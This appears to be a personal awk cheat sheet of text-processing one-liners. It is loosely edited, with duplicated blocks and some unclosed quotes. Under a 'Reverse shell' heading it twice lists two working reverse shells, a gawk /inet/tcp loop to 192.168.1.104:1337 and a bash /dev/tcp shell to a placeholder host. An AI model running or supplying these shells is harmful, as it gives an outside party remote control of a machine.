awk

AWK - the (very old) *original* from `AT&T`
NAWK - A newer, improved version from `AT&T`
GAWK - The Free Software foundation's version

BEGIN
END
BEGINFILE
ENDFILE
/regular expression/
relational expression
pattern && pattern
pattern || pattern
pattern ? pattern : pattern
(pattern)
! pattern
pattern1, pattern2

awk 'BEGIN { print _"hello, world" }'   

cat <file>.txt|awk '{ print NR, $0 }'

awk 'BEGIN { print "line one\nline two\nline three" }'

awk '{ print $1, $2 } <file>   

awk '{print $1}'

awk '{print NR "\t" $0}'

awk '{print $1, $3}'

awk '{print $NF}'

awk -F ',' '{print $2}'

awk 'NF > 0'

awk NF

awk '!/^$/'

awk 'END{print NR}'

awk '{print i++ "," $0}'

awk '{print NR  "> " $s}'
### Check for duplicates, unique only
```sh
awk '!seen[$0]++'

awk 'END{print NR}'

awk '1;{print "\n"}'

### Reverse shell 
```sh
awk 'BEGIN{s="/inet/tcp/0/192.168.1.104/1337";while(1){if((s|&getline c)<0||c=="exit")break;while(c&&(c|&getline)>0)print$0|&s;close(c)}}'

bash -c '0<&60-;exec 60<>/dev/tcp/<LHOST>/<LPORT>;sh <&60 >&60 2>&60' 2> /dev/null

awk -F'\t' '{ printf("%-30s %s\n", $1, $2) }'

awk 'BEGIN { print _"hello, world" }

cat <file>.txt|awk '{ print NR, $0 }'

awk 'BEGIN { print "line one\nline two\nline three" }'

awk '{ print $1, $2 } <file>  

awk '{print $1}'

awk '{print NR "\t" $0}'

awk '{print $1, $3}'

awk '{print $NF}'

awk -F ',' '{print $2}'

awk 'NF > 0'

awk NF

awk '!/^$/'

awk 'END{print NR}'

awk '{print i++ "," $0}'

awk '{print NR  "> " $s}'

awk '!seen[$0]++'

awk 'END{print NR}'

awk '1;{print "\n"}'

paste file1.txt file2.txt|awk -F'\t' '{ printf("%-30s %s\n", $1, $2) }'

awk 'BEGIN{s="/inet/tcp/0/192.168.1.104/1337";while(1){if((s|&getline c)<0||c=="exit")break;while(c&&(c|&getline)>0)print$0|&s;close(c)}}'

bash -c '0<&60-;exec 60<>/dev/tcp/<LHOST>/<LPORT>;sh <&60 >&60 2>&60' 2> /dev/null

awk -F'\t' '{ printf("%-30s %s\n", $1, $2) }'

awk -v on="$(tput bold)" -v off="$(tput rmso)" '{ $2=on $2 off }; 1'

seq 10|awk '{ print; } NR % 5 == 0 { print ""; }'
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awk 'BEGIN{ORS="\n\n\n"};1'

echo wuseman|awk '{for(i=1;i<=NF;i++){ $i=toupper(substr($i,1,1)) substr($i,2) }}1'

awk '{ cur = substr($0,1,1) } NR > 1 && cur != prev { print "" } { prev = cur; print }

awk '
  {a[$2" "$1]=$3} 
  END {
    n=asorti(a,b); for (i=1;i<=n;i++) {split(b[i],s); print s[2], s[1], a[b[i]]}
}' file

find . -type f -printf '%T@ %p\n' | awk '
    BEGIN { mostrecenttime = 0; mostrecentline = "nothing"; }
    {   
        if ($1 > mostrecenttime)
            { mostrecenttime = $1; mostrecentline = $0; }
    }   
    END { print mostrecentline; }' | cut -f2- -d ' '

awk '
        NR==FNR { if (length > max_length) max_length = length
                  max_FNR = FNR
                  save[FNR] = $0
                  next
                }
                { printf "%-*s", max_length+2, save[FNR]
                  print
                }
        END     { if (FNR < max_FNR) {
                        for (i=FNR+1; i <= max_FNR; i++) print save[i]
                  }
                }
    ' file1.txt file2.txt